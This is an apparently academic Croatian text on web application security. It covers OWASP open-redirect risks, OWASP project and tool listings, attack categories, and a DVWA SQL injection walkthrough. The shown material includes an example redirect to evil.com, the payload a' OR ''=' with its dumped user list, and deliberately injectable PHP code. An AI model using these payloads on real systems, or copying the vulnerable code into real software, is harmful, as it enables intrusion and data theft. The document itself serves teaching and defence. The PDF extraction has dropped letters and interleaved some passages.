4.1.2.10. Unvalidated Redirects and Forwards Neprovjerena preusmjeravanja i prosljeivanja Opis Tablica 4.12. Opis neprovjerenog preusmjeravanja i prosljeivanja Potencijaln i napadai Treba razmotriti sve koji mogu prevariti korisnika aplikacije da poalje zahtjev na nau web stranicu. To je mogue kroz bilo koju HTML stranicu kojoj korisnik moe pristupiti. Teina napada Srednje teak Uestalost propusta Detekcij a propusta Tehniki utjecaj Umjeren Ovakvi propusti mogu pokuati instalirati malware ili prevariti rtvu na odavanje lozinki ili ostalih povjerljivih informacija. Nesigurna prosljeivanj a mogu dozvoliti zaobilaenje kontrole pristupa. Utjecaj na djelatnost Razmotriti poslovnu vrijednost zadravanja korisnikovo g povjerenja. to ako se zaraze malwareom ? to ako napada pristupi unutarnjim funkcijama aplikacije?

Neuobiaje Laka n Aplikacije esto Napada se preusmjeruju korisnike povee na nevalidirane na druge stranice, ili koriste unutarnja poveznice i prevari rtvu prosljeivanja na slian da ih klikne. nain. Ponekad je ciljna stranica specificirana u rtva ne sumnja nita, nevalidiranom parametru, to napadau poto je to omoguuje da odaberu link na ciljnu stranicu. validnu Otkrivanje nesigurnih stranicu. Napada cilja preusmjeravanja je lako, treba traiti nesigurna prosljeivanj preusmjeravanja gdje se mome postaviti cijeli a kako bi URL. Neprovjerena zaobiao prosljeivanja su tea, sigurnosne poto ciljaju unutarnje provjere. stranice.

Provjera ranjivosti Najbolji nain za otkrivanje ovih propusta je slijediti ove korake: 1. Pregledati kod aplikacije za sva koritenja preusmjeravanja ili prosljeivanja. Za svako koritenje, identificirati da li se ciljni URL ukljuuje u vrijednost nekog parametra. Ako je tako, provjeriti da je parametar provjeren tako da moe sadravati samo dozvoljena odredita ili dijelove odredita. 59

2. Pregledati stranicu i vidjeti da li generira kakva preusmjeravanja. Pogledati parametre pruene prije preusmjeravanja i vidjeti da li su oni ciljni URL-ovi ili sadravaju dijelove takvih URL-ova. Ako je tako, promijeniti URL odredite i promatrati da li stranica preusmjerava na novu metu. 3. Ako je kod nedostupan, provjeriti sve parametre i vidjeti da li izgledaju kao dio preusmjeravanja ili prosljeivanja URL odredita i testirati one koje zadovoljavaju te kriterije. Sprjeavanje ranjivosti Sigurna upotreba preusmjeravanja i prosljeivanja moe se napraviti na nekoliko naina: 1. Jednostavno izbjegavati preusmjeravanja i prosljeivanja. 2. Ako se koriste, ne ukljuivati korisnike parametre u raunanju odredita. To se obino moe napraviti. 3. Ako se korisniki parametri ne mogu izbjei, osigurati da su njihove vrijednosti ispravne i da je korisnik autoriziran za izvravanje takve akcije. Preporua se da takvi odredini parametri budu mapirane vrijednosti, a ne pravi URL ili dio URL-a, i da kod na serveru vri mapiranje te vrijednosti u pravi URL. Izbjegavanje ovih mana je jako vano jer je to omiljena meta phishing napadaa koji ele pridobiti korisnikovo povjerenje. Primjer napada Scenarij 1: Aplikacija ima stranicu koja se zove redirect.jsp koja uzima jedan parametar pod nazivom url. Napada napravi maliciozan URL i preusmjeri korisnike na malicioznu stranicu koja izvrava phishing i instalira malware. http://www.example.com/redirect.jsp?url=evil.com Scenarij 2: Aplikacija koristi prosljeivanje za usmjeravanje zahtjeva meu razliitim dijelovima web mjesta. Neke stranice koriste parametar kako bi oznaile kamo bi korisnik trebao biti poslan ako je transakcija uspjeno izvrena. U ovom sluaju napada stvara URL koji e proi provjeru prava pristupa aplikacije i onda proslijediti napadaa na administrativne funkcije kojima inae ne smije imati pristup. http://www.example.com/boring.jsp?fwd=admin.jsp 60

4.2. OWASP projekti sigurnosti IS-a

OWASP ima cijeli niz projekata koji su namijenjeni sigurnosti aplikacija. Projekti se dijele u nekoliko grupa54: zatititi (engl. protect) alati i dokumenti koji se mogu koristiti za zatitu protiv sigurnosno orijentiranih pogreaka u dizajnu i implementaciji detektirati (engl. detect) alati i dokumenti koji se mogu koristiti za pronalaenje sigurnosno orijentiranih pogreaka u dizajnu i implementaciji ivotni ciklus (engl. life cycle) alati i dokumenti koji se mogu koristiti za dodavanje sigurnosno orijentiranih aktivnosti u razvojni ciklus razvoja softvera (engl. Software Development Life Cycle SDLC) Svaki od projekata ima svoju mail listu. Svi korisnici se mogu pretplatiti na tu listu, ali i pretraivati arhivu. Postoji i lista projekata koji su ostali bez voditelja, pa se zainteresirani korisnici mogu prijaviti kao voe.

Projekti se jo dijele u nekoliko kategorija ovisno o njihovoj fazi razvoja, a to su: projekti distribucijske kvalitete (engl. Release Quality Projects), projekti beta statusa (engl. Beta Status Projects), projekti alfa statusa (engl. Alpha Status Projects) te neaktivni projekti (engl. Inactive Projects).

Projekti distribucijske kvalitete su u osnovi profesionalna razina kvalitete alata i dokumentacije. Projekti beta statusa su potpuni projekti i spremni su za koritenje sa dokumentacijom. Projekti alfa statusa se u osnovi mogu koristiti, ali im moe nedostajati provjera dokumentacije ili kvalitete. Neaktivni projekti su neocijenjeni projekti (projekti koji jo nisu doli do bilo kojeg od Alfa, Beta ili Release/distribucijskog statusa) koji su moda naputeni. Za takve projekte se postiu napori kako bi se kontaktiralo vodstvo projekta i utvrdio status i planovi za budui rad.

Kako je u drugim kategorijama previe projekata da bi ih ovdje nabrajali, u nastavku emo nabrojati samo projekte distribucijske kvalitete (engl. Release Quality Projects) i projekte u beta fazi (engl. Beta Status Projects).
54

http://www.owasp.org/index.php/Category:OWASP_Project

61

Tablica 4.13. Popis projekata distribucijske kvalitete (engl. Release Quality Projects)55 Alati Dokumentacija Kategorija: zatititi (engl. Protect) OWASP AntiSamy Java Project aplikacijsko programsko suelje za validaciju bogatog HTML/CSS ulaza od strane korisnika bez izlaganja XSS i phising napada (kriteriji procjene v1.0) OWASP AntiSamy .NET Project aplikacijsko programsko suelje za validaciju bogatog HTML/CSS ulaza od strane korisnika bez izlaganja XSS i phising napada (kriteriji procjene v1.0) OWASP .NET Project namjena ovog projekta je osiguravanje sredinjeg repozitorija informacija i alata za profesionalce koji koriste Microsoftov .NET Framework za web aplikacije i servise (kriteriji procjene v1.0) OWASP Enterprise Security API (ESAPI) Project besplatna i otvorena kolekcija svih sigurnosnih metoda koje su potrebne developeru da bi izgradio sigurnu web aplikaciju (kriteriji procjene v1.0) OWASP Ruby on Rails Security Guide V2 ovaj projekt je jedini izvor informacija o pitanjima vezanima uz sigurnost Railsa (kriteriji procjene v1.0) OWASP Development Guide ogroman dokument koji pokriva sve aspekte sigurnosti web aplikacija i web servisa (kriteriji procjene v1.0)

55

http://www.owasp.org/index.php/Category:OWASP_Project#tab=Release_Quality_Projects

62

OWASP ModSecurity Core Rule Set Project projekt za dokumentiranje i razvoj ModSecurityCore Rule Set (kriteriji procjene v1.0)

OWASP Secure Coding Practices Quick Reference Guide ovaj dokument daje brze reference visokog nivoa za sigurne tehnike kodiranja. Tehnoloki je skeptian i definira skup osnovnih softverskih sigurnosnih pravila za kodiranje u obliku liste provjere (engl. checklist) koja moe biti integrirana u razvojni ciklus. (kriteriji procjene v2.0)

Kategorija: detektirati (engl. Detect) OWASP JbroFuzz Project fuzzer za web aplikacije napravljen za zahtjeve ostvarene preko HTTP i/ili HTTPS protokola. Njegova namjena je osiguravanja jedne portabilne aplikacije koja nudi stabilne fuzzing mogunosti web protokola. (kriteriji procjene v2.0) OWASP Application Security Verification Standard Project ASVS definira prvi meunarodno priznat standard za provoenje sigurnosnih procjena aplikacija. Pokriva automatske i rune pristupe za procjenu (verifikaciju) aplikacija koritenjem tehnika sigurnosnih testova i provjere kda. (kriteriji procjene v1.0) OWASP Live CD Project ovaj CD sadri neke od najboljih open source sigurnosnih projekata u jednom okruenju. Web developeri, testeri i sigurnosni strunjaci mogu bootati sa ovog Live CD-a i imati pristup kompletnoj garnituri softvera za testiranje sigurnosti. (kriteriji procjene v1.0) OWASP WebScarab Project alat za izvoenje svih tipova testova OWASP Testing Guide projekt fokusiran na testne procedure i OWASP Core Review Guide projekt za skupljanje najboljih praksa za provjeru kda. (kriteriji procjene v1.0)

63

sigurnosti na web aplikacijama i web servisima. (kriteriji procjene v1.0)

liste provjere (engl. checklists) za provjeru sigurnosti aplikacija. (kriteriji procjene v1.0) OWASP Top Ten Project znaajan dokument koji opisuje deset najveih sigurnosnih propusta web aplikacija (kriteriji procjene v1.0)

Kategorija: ivotni ciklus (engl. Life Cycle) OWASP WebGoat Project online okruenje za treniranje namijenjeno praktinom uenju o sigurnosti aplikacija (kriteriji procjene v1.0) OWASP Legal Project projekt fokusiran na pruanje ugovornog jezika za nabavu sigurnog softvera (kriteriji procjene v1.0) OWASP Source Code Review for OWASP-Projects radni tijek za OWASP projekte namijenjen uvoenju statine analize u razvojni ivotni ciklus softvera (engl. Software Development Life Cycle SDLC). (kriteriji procjene v1.0) OWASP AppSec FAQ Project odgovori na esto postavljena pitanja koji pokrivaju mnoge teme o sigurnosti aplikacija (kriteriji procjene v1.0)

64

Tablica 4.14. Popis projekata beta statusa56 Alati Dokumentacija Kategorija: zatititi (engl. Protect) OWASP CSRFGuard Project J2EE filter koji implementira jedinstven token za zahtjev za ublaavanje CSRF napada (kriteriji procjene v1.0) OWASP Encoding Project projekt fokusiran na razvoj najbolje prakse u kodiranju za web aplikacije (kriteriji procjene v2.0) OWASP AppSensor Project okosnica (engl. framework) za detektiranje i odgovaranje na napade direktno iz aplikacije (kriteriji procjene v1.0) OWASP Backend Security Project novi projekt kreiran da bi unaprijedio i prikupio postojee informacije o pozadinskoj (engl. backend) sigurnosti (kriteriji procjene v1.0) OWASP OpenSign Server Project svrha ovog projekta je izgraditi i hostati server bogat mogunostima te komplet klijentskih alata sa adekvatnim sigurnim hardverom kako bi se osigurao integritet modula za kodiranje (kriteriji procjene v1.0) OWASP Securing WebGoat using ModSecurity Project svrha ovog projekta je kreiranje prilagoenog Modsecurity seta pravila koji e tititi WebGoat 5.2 od to veeg broja njegovih ranjivosti (cilj je 90%) bez promjene ijedne linije kda (kriteriji procjene v1.0) OWASP OpenPGP Extensions for HTTP Enigform and mod openpgp ovaj projekt je fokusiran na mod_openpgp i sigurnosno upravljanje sesijama (engl. Secure Session Management), a predstavlja web mjesto koje koristi ovu novu metodologiju autentifikacije na takav nain koji e privui profesionalce koji se bave sigurnou i web developere

56

http://www.owasp.org/index.php/Category:OWASP_Project#tab=Beta_Status_Projects

65

na ovaj novi miks dva dobra stara protokola: HTTP-a i OpenPGP-a (kriteriji procjene v1.0) Kategorija: detektirati (engl. Detect) OWASP Access Control Rules Tester Project ovaj projekt je zamiljen na nain da kao rezultat daje dva izlaza: istraivaki tehniki izvjetaj (lanak spreman za objavu) i alat za testiranje pravila pristupa kontroli (engl. Access Control Rules Tester) (kriteriji procjene v1.0) OWASP Tools Project ovaj projekt je napravljen kako bi pruio nepristrane, praktine informacije i smjernice o alatima za sigurnost aplikacija koji se koriste kako bi se detektirali propusti ili kako bi se zatitilo od propusta. Cilj ovog projekta je identifikacija svih dostupnih alata, njihova kategorizacija i ocjenjivanje prema predefiniranim kriterijima kako bi se procjenila njihova efikasnost. OWASP Code Crawler ovaj alat je namijenjen asistenciji onima koji pregledavaju postojei kd. To je alat za pregledavanje statinog kda koji trai kljune rijei unutar .NET i J2EE/JAVA kda (kriteriji procjene v1.0) OWASP DirBuster Project DirBuster je viedretvena Java aplikacija dizajnirana za pogaanje imena direktorija i datoteka na web/aplikacijskim serverima primjenom grube sile (kriteriji procjene v1.0) OWASP LAPSE Project alat za analizu Java statinog kda u Eclipse okruenju (kriteriji procjene v1.0)

66

OWASP Orizon Project cilj ovog projekta je razviti engine za provjeru rastezljivog (engl. extensible) kda, koji bi se koristio iz alata za procjenu izvornog kda (kriteriji procjene v1.0) OWASP Pantera Web Assessment Studio Project projekt fokusiran na kombiniranje automatskih sposobnosti sa potpuno runim testiranjem za dobivanje najboljih rezultata (kriteriji procjene v1.0) OWASP Report Generator projekt koji sigurnosnim profesionalcima prua nain za izvjetavanje i biljeenje napretka njihovih projekata (kriteriji procjene v1.0) OWASP Site Generator projekt koji korisnicima omoguava izradu dinaminih stranica za koritenje u potrebe treninga, testiranja skenera web aplikacija i sl. (kriteriji procjene v1.0) OWASP Skavenger Project skup alata za procjenu sigurnosdti web aplikacija koji pasivno analizira promet prikupljen od strane razliitih MITM proxya, kao i drugih izvora te pomae identificirati razliite vrste moguih propusta (kriteriji procjene v1.0)

67

OWASP SQLiX Project projekt fokusiran na razvoj SQLiX-a, skenera potpuno baziranog na programskom jeziku perl (kriteriji procjene v1.0) OWASP Sqlibench Project ovo je projekt za mjerenje performansi automatskih SQL injektora povezanih sa kopiranjem baza podataka (kriteriji procjene v1.0) OWASP Tiger to je Windows aplikacija koja od samog poetka namijenjena za automatiziranje procesa testiranja raznih poznatih ASP.NET sigurnosnih problema u domaoj (engl. hosted) okolini. No, ova aplikacija je mnogo svestranija: pomae kod izgradnje i slanju HTTP zahtjeva, kod dobivanja i analiziranja odgovora, usporeivanja odgovora sa skupom uvjeta da bi se aktivirali alarmi tj. poruke da neto nije u redu sa aplikacijama ili servisima koji se testiraju. (kriteriji procjene v1.0) OWASP WeBekci Project to je alat za upravljanje baziran na ModSecurity 2.x, a napisan je u PHPu. Pozadina (engl. backend) je pogonjena MySQL, a suelje (engl. frontend) XAJAX okosnicom (engl. framework). (kriteriji procjene v1.0) OWASP WSFuzzer Project

68

projekt fokusiran na razvoj WSFuzzera, web servis SOAP fuzzer potpuno baziran na pythonu (kriteriji procjene v1.0) Kategorija: ivotni ciklus (engl. Life Cycle) OWASP Live CD Education Project dodatni edukacijski projekt koji sadri vodie, izazove i video zapise koji detaljno opisuju nain koritenja alata koji su sadrani na OWASP LiveCD LabRat. Ovaj projekt je bio sponzoriran od OWASP Spring Of Code 2007 i Security Distro. (kriteriji procjene v1.0) OWASP Teachable Static Analysis Workbench Project za ova projekt je predvieno da kao rezultat daje dva izlaza: istraivaki tehniki izvjetaj (lanak spreman za objavu) i radni prototip (engl. workbench prototype). (kriteriji procjene v1.0) OWASP Internationalization Project osnovne smjernice za pokretanje novog projekta prevoenja za OWASP web mjesto i projekte (kriteriji procjene v1.0) OWASP Spanish Project prvi pokuaj prijevoda kompletnog OWASP web mjesta i projekta na panjolski jezik (kriteriji procjene v1.0) OWASP Education Project projekt za izradu edukacijskih puteva i modula za razliitu publiku (kriteriji procjene v1.0) OWASP CLASP Project projekt fokusiran na definiranje procesnih elemenata koji ojaavaju sigurnost aplikacija (kriteriji procjene v1.0)

69

4.3. Koritenje alata u svrhu poboljanja zatite

Spomenuti alati iz prolog poglavlja napravljeni su zbog razloga da bi ih se koristilo za testiranje razliitih propusta. Uz pomo njih se programeri na praktian nain naue kako se ti propusti iskoritavaju, te se dobro upoznaju sa moguim posljedicama. To ih potie da svoje aplikacije testiraju na te iste propuste, te samim time programiraju sigurnije aplikacije.

Osim samih programera, ovi alati koriste testerima aplikacijama, ali i sigurnosnim strunjacima. Posljednje spomenuti su esto zadueni da se pobrinu o sigurnosti servera i osoba koji se koriste uslugama na tim serverima, pa zbog toga oni moraju ispitati koliko su sigurne aplikacije na njima kako bi utvrdili da li je potrebno upozoriti programere na uinjene propuste.

Kako je potreba za ovakvim alatima velika, a takoer ih mnogo postoji u komercijalnom ili open source obliku, OWASP je otvorio novi projekt koji trenutno spada u projekte beta statusa, pod nazivom OWASP Tools Project. Kao to je ve spomenuto u poglavlju iznad, ovaj projekt je namijenjen pronalasku alata, njihovoj kategorizaciji i ocjenjivanju prema predefiniranim kriterijima u svrhu procjene efikasnosti svakog pojedinog alata. Trenutno su pojedine kategorije prazne ili je na popisu samo nekoliko alata, no za pretpostaviti je da e se to uskoro promijeniti.

Alati se u OWASP Tools projektu dijele u dvije glavne kategorije: u one koji detektiraju ranjivosti ili propuste u web aplikacijama te oni koji tite od njih.57 Vrste alata koje slue za detektiranje slabosti web aplikacija su: alati za penetracijsko testiranje alati za analizu izvornog kda alati za modeliranje prijetnji alati za skeniranje od ranjivosti

U kategoriji zatite web aplikacija trenutno se nalazi samo jedna vrsta alata, a to su vatrozidi za web aplikacije (engl. Web Application Firewalls WAFs)

57

http://www.owasp.org/index.php/Category:OWASP_Tools_Project

70

Od svih navedenih alata tj. projekata iz prethodnog poglavlja, nekako se najboljima ili barem najpopularnijima ine WebGoat i WebScarab. Svaki od ovih alata spada u svoju kategoriju, pa tako WebScarab spada u kategoriju alata koji slueza detekciju ranjivosti, a WebGoat spada u kategoriju ivotnog ciklusa.

4.3.1. WebScarab WebScarab je okosnica (engl. framework) za analizu aplikacija koje komuniciraju preko HTTP ili HTTPS protokola, a napisan je u Javi i zbog toga se moe koristiti na svim platformama.58 Ovaj alat moe raditi u nekoliko naina, a svaki od njih je implementiran u obliku dodatka (engl. plugins). Najee se koristi kao proxy za presretanje, to omoguava korisniku da pregleda i modificira zahtjeve kreirane od strane web preglednika (engl. browser) prije nego su oni poslani serveru, a takoer moe pregledati i modificirati odgovore od servera prije nego oni stignu do web preglednika. Ovaj alat je namijenjen programerima koji ele otkloniti inae komplicirane probleme ili sigurnosnim strunjacima koji ele identificirati ranjivosti aplikacije.

Kako bi korisnik mogao koristiti ovaj alat, mora biti dobar programer ili barem dobro razumjeti HTTP protokol.

Osim starog WebScarab-a, napravljena je i nova verzija ovog alata u sklopu projekta OWASP WebScarab NG Project. Cilj ovog projekta je potpuno preraditi poetnu verziju alata i napraviti ga jednostavnijim za koritenje. Neke od veih razlika su nova platforma na kojoj je izgraen (koristi Spring Rich Client Platform za korisniko suelje), spremanje podataka iz sesije u bazu umjsto u tisue zasebnih datoteka.59 Nova verzija WebScarab-a bi trebala imati sve funkcionalnosti kao i starija verzija, sa ve spomenutom prednou lakeg koritenja.

58 59

http://www.owasp.org/index.php/OWASP_WebScarab_Project http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project

71

Slika 4.1. WebScarab60

Slika 4.2. WebScarab NG61 4.3.2. WebGoat WebGoat je promiljeno nesigurna J2EE (Java 2 Enterprise Edition) web aplikacija, a napravila ju je organizacija OWASP. Ova aplikacije je dizajnirana kako bi posluila
60 61

http://www.owasp.org/index.php/File:WebScarab_after_browsing.png http://www.owasp.org/index.php/File:WebScarab-NG-default.png

72

za uenje o sigurnosti web aplikacija po lekcijama.62 U svakoj lekciji korisnik mora pokazati svoje razumijevanje sigurnosnog problema na nain da iskoristi stvarnu ranjivost u WebGoat aplikaciji. Tako npr. u jednoj od lekcija korisnik mora koristiti SQL injection kako bi ukrao brojeve lanih kreditnih kartica. Smatram da je ova aplikacija jako korisna za sve programere kako bi oni bolje upoznali i shvatili prijetnje koje mogu nastati razvojem web aplikacija bez razmiljanja o sigurnosti. Osim toga, ovakve web aplikacije slue kao dobar trening za korisnike koji ele postati sigurnosni strunjaci. Projektni tim koji radi na projektu WebGoat se nada da e u budunosti ovaj alat proiriti na nain da e postati alat za mjerenje performansi u sigurnosti.

U ovom alatu trenutno je dostupno 30 lekcija, a neke od njih se bave ovim problemima: Cross-site Scripting (XSS) kontrola pristupa sigurnost dretvi brojana SQL injekcija znakovna (engl. string) SQL injekcija web servisi opasnost HTML komentara i mnogi drugi...

62

http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

73

Slika 4.3. WebGoat - Lekcija o krai sesije63

63

http://www.owasp.org/index.php/File:WebGoat-Session-Hijack-Lesson.JPG

74

4.4. Opi principi napada

U ovompoglavlju emo spomenuti neke ope principe napada, odnosno openito rei o svakoj vrsti napada. Na OWASP stranici sa popisom napada postoji 12 kategorija, pa emo za svaku od kategorija ukratko opisati principe napada.64 Kategorije napada i njihovi principi su: zloupotreba funkcionalnosti (engl. Abuse of Functionality) o Glavni cilj ove vrste napada je zloupotrebiti neku funkcionalnost web aplikacije i na taj nain doi do nama korisnih informacija, npr. mogue je iskoristiti opciju automatskog zakljuavanja korisnikog rauna u sluaju ako web aplikacija nakon tri neuspjela pokuaja prijave zakljua taj raun. napadi na strukture podataka (engl. Data Structure Attacks) o Princip ovog napada je prebrisati neki dio u memoriji aplikacije koji se inae ne bi smio moi prebrisati, bilo to namjerno ili nenamjerno. Jedna od vrsta napada ovog tipa jest napad prelijevanjem buffera (engl. Buffer Overflow Attack). Ovdje se radi o tome da se npr. prebrie vrijednost nekog od registra, to kao rezultat daje to da aplikacija poinje izbacivati greke i vie se ne moe koristiti. ugraen maliciozni kd (engl. Embedded Malicious Code) o Ova vrsta napada se zasniva na mogunosti da se u aplikaciju ugradi maliciozni kd, koji kasnije korisnik aplikacije moe nesvjesno pokrenuti. Na istom principu se zasnivaju trojanski konji. iskoritavanje autentifikacije (engl. Exploit of Authentication) o Cilj je da se iskoriste slabosti autentifikacije, bilo to na nain da se nakon 3 neuspjela pokuaja prijave automatski zablokira korisniki raun (isto kao i kod zloupotrebe funkcionalnosti) ili da se uz pomo ubaenog malicioznog kda dobe korisniki podaci za prijavu u aplikaciju. U sluaju kada se radi o administratorskom raunu, napada moe poiniti jako veliku tetu. injekcija (engl. Injection) o Ovom vrstom napada se eli izvriti neki kd na nain da se iskoritavaju propusti u aplikaciji nastali na nain da se ne provjeravaju
64

http://www.owasp.org/index.php/Category:Attack

75

ulazni podaci npr. ne provjerava se da li moda string, koji e se proslijediti u predefinirani upit na bazu, moda sadri navodnike. U tom sluaju se moe provesti SQL Injection napad, tj. moe se modificirati upit na bazu i tako ispisati korisnika imena i lozinke korisnika iz baze podataka. napad unakrsnom putanjom (engl. Path Traversal Attack) o Ova vrsta napada iskoritava ranjivosti u putanji do datoteka ili direktorija te tako napada u sluaju uspjenog napada moe pristupiti onim datotekama i direktorijima kojima inae ne bi smio imati pristup. Takav napad moe se iskoristiti u aplikacijama koje trae od korisnika upis neke vrijednosti (npr. naziva datoteke) i kasnije tu vrijednost koriste za dohvat podataka na datotenom sustavu. U sluaju kad korisnik upie posebne znakove, aplikacija moe to svejedno proslijediti i na taj nain omoguiti pristup datotekama kojima obini korisnik ne smije pristupiti. tehnike vjerojatnosti (engl. Probabilistic Techniques) o Napadau je glavni motiv da e npr. pogoditi korisnike podatke za prijavu u aplikaciju, pa uporabom napada metodom grube sile (engl. Brute force attack) pokuava puno kombinacija korisnikih imena i lozinki. Za ovakve napade se koriste skripte koje provjeravaju sve mogue kombinacije unutar zadanih granica ili koriste podatke iz tzv. rijenika. Vrlo jednostavna metoda primjene grube sile je npr. ako korisnik runo proba upisati 10 najeih kombinacija korisnikog imena i lozinki (npr. kor. ime: admin; lozinka: admin) manipulacija protokola (engl. Protocol Manipulation) o Ovakva vrsta napada se zasniva na slanju poruka u odreenom protokolu, kako bi se prouzroila teta drugoj strani. Jedan od primjera ovakvog napada je poplava prometa (engl. Traffic flood), a oznaava uspostavljanje mnogo lanih TCP veza uz koritenje nedovrenih HTTP zahtjeva, sve dok server nije preplavljen brojem veza i zbog toga prestane odgovarati na zahtjeve.

76

iscrpljivanje resursa (engl. Resource Depletion) o Napadau je ovom vrstom napada glavni cilj iscrpiti to vie resursa, odnosno onemoguiti drugim korisnicima da koriste server. Ovakav napad je u dananje vrijeme sve ei i to u obliku DDoS (engl. Distributed Denial of Service) napada. Radi se o tome da napada upravlja svojom mreom zaraenih raunala tzv. botnetom i da pomou vlastitog softvera upravlja svim raunalima odjednom. Kad jednom uspostavi botnet od nekoliko tisua (ili vie) raunala, napada moe preko svog alata za kontrolu raunala izdati naredbu raunalima da zatrae otvaranje neke odreene web stranice. Ako se radi o jednom serveru, ovolik broj zahtjeva odjednom moe zauzeti previe mrenih resursa, ali i previe memorije i procesorskog vremena na serveru, pa se server jednostavno uspori ili ak zablokira.

manipulacija resursima (engl. Resource Manipulation) o Cilj ovog napada je pronai nain za manipuliranjem raznim resursima. Kao primjer moemo navesti napad manipulacijom postavki (engl. Setting Manipulation). On je usmjeren na promjenu postavki aplikacije kako bi izazvao da aplikacija izbacuje pogrene podatke i kako bi napada bio u prednosti. Ovom tehnikom napada moe promijeniti funkcije aplikacije kao to su pozivi na bazu podataka, blokiranje pristupa vanjskim bibliotekama i/ili modificiranje log datoteka.

napadi pijuniranjem (engl. Sniffing Attacks) o Ova vrsta napada se zasniva na prikupljanju podataka mrenog prometai i traenju osjetljivih podataka kao to su korisnika imena, lozinke ili bilo koje druge povjerljive informacije.

zavaravanje (engl. Spoofing) o Napada moe presresti komunikaciju izmeu dvije strane, promijeniti poruku i poslati je dalje do odredita. U tom sluaju ni jedna ni druga strana ne zna da su ti podaci promijenjeni i da im druga strana uope nije poslala ovakve podatke kakvi su stigli na odredite. To je primjer tzv. MIT (engl. Man in the Middle) napada, to u prijevodu znai ovjek u sredini.

77

5. Metode provjere i neutraliziranja

5.1. Damn vulnerable web app
Damn vulnerable web app (DVWA) je web aplikacija koja je jako ranjiva. Njezini glavni ciljevi su da bude potpora strunjacima sigurnosti da testiraju svoje vjetine i alate u legalnom okruenju, da omogui web dizajnerima bolje razumijevanje procesa zatite web aplikacija i pomogne uiteljima/studentima da podue/naue sigurnost web aplikacija. Aplikacija daje neke pomoi i savjete za pristup nekim osnovama svake vrste napada. Takoer omoguuje i prikaz izvornog koda kako se napadi odvijaju (korisno za debugging XSS i SQLi napada). Jo nam daje i tri razliite razine sigurnosti web stranice.

Slika 5.1. Izgled DVWA suelja

78

5.1.1. SQL Injection SQL injekcija (engl. SQL injection) je tehnika koja eksploatira sigurnosnu ranjivost koja se dogaa u sloju baze podataka aplikacije. Najee se eksploatiraju web aplikacije koje u svojim SQL upitima koriste podatke koje je isporuio korisnik, ali bez prethodnog ispitivanja da li ti isti korisniki podaci sadre neke potenijalno tetne znakova poput navodnika, toke-zarez i sl. U DVWA aplikaciji kad kliknemo na tab SQL Injection otvori nam se polje za unos User ID-a. Preko tog polja sad moemo testirati ranjivosti pomou raznih upita. Uzet emo primjer za sljedei upit: SELECT first_name, last_name FROM users WHERE user_id = 'a' OR ''=''". Ako u polje User ID upiemo a' OR ''=' dobit emo sljedei rezultat: ID: A' OR ''=' FIRST NAME: ADMIN SURNAME: ADMIN

ID: A' OR ''=' FIRST NAME: GORDON SURNAME: BROWN

ID: A' OR ''=' FIRST NAME: HACK SURNAME: ME

ID: A' OR ''=' FIRST NAME: PABLO SURNAME: PICASSO

ID: A' OR ''=' FIRST NAME: BOB SURNAME: SMITH

79

To je rezultat izvoenja navedene naredbe kada je sigurnosna razina postavljena na low. Ako je postavimo na high tada upisom te naredbe se nee nita dogoditi. Za ovakvo pretraivanje, mogli bi oekivati da e samo prvi odgovor biti prikazan. Ako pogledamo DVWA izvorni kod, moemo vidjeti da je petlja stvorena da krui za svaki vraeni red. To je loa ideja jer za oekivani ulaz treba postojati i oekivani izlaz za samo jedan rezultat. Izvorni kod za low sigurnosnu razinu: <?php

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name");

echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>';

$i++; 80

} } ?>

Izvorni kod za high sigurnosnu razinu: <?php

if (isset($_GET['Submit'])) {

// Retrieve data

$id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); Razlika prema low sigurnosnoj razini if (is_numeric($id)){

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i=0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name");

echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>';

$i++; 81

} } } ?>

Rijeenja:

Ne postoji neki siguran nain koji bi sprijeio SQL injekciju, ali postoje naini da se smanji vjerojatnost njenog dogaanja. U nastavku su dani neki od tih naina.

Provjeravati ulaz: Vrlo je vano provjeravati ulazne podatke koje je predao korisnik kako bi se osiguralo da ne sadre opasne kdove, bez obzira radi li se o SQL-u ili HTML-u. Umjesto brisanja ''loih dijelova'', jer je vjerojatnost da emo se sjetiti svega to moe ugroziti sigurnost vrlo malena, preporua se brisanje svega osim ''dobrih dijelova''.

Zabraniti navodnike i escape znakove u ulazu: No usprkos injenici da lako moemo provjeriti email ili telefonski broj, nije preporuljivo izbaciti navodnike iz polja imena zbog postojanja prezimena poput O'Reilly. Postoje alati koji vre provjeru da su navodnici ''dobro napisani'' i koji poveavaju sigurnost, ali ne sprjeavaju u potpunosti napad.

Koristiti ograniene parametre: U sluaju ove metode zatite SQL upiti sadre prazna mjesta koja su oznaena upitnikom i upit se prevodi u interni obrazac.

Ograniiti pristup bazi podataka i odvojiti korisnike: Potrebno je, to je mogue vie, ograniiti prava web aplikacije na pristup bazi podataka: dozvoliti pristup samo tablici korisnika i to iskljuivo kroz SELECT naredbu.

Koristiti pohranjene procedure za pristup bazi podataka: Ako ih posluitelj podrava, preporua se da aplikacija koristi SQL pohranjene procedure za pristup bazi, jer je na taj nain mogue sprijeiti napad (pod pretpostavkom da su pohranjene procedure dobro napisane).

82

Izolirati web posluitelje: Potrebno je projektirati infrastrukturu mree s pretpostavkom da e napada na neki nain uspjeti dobiti sve dozvole pristupa posluitelju, te je potrebno ograniiti naine da se to iskoristi da bi se iskompromitiralo neto drugo.

Podesiti prijavljivanje pogreaka: Standardne postavke prijave pogreaka u nekim radnim okruenjima ukljuuju informacije o traenju pogreaka u programu (engl. debugging).65

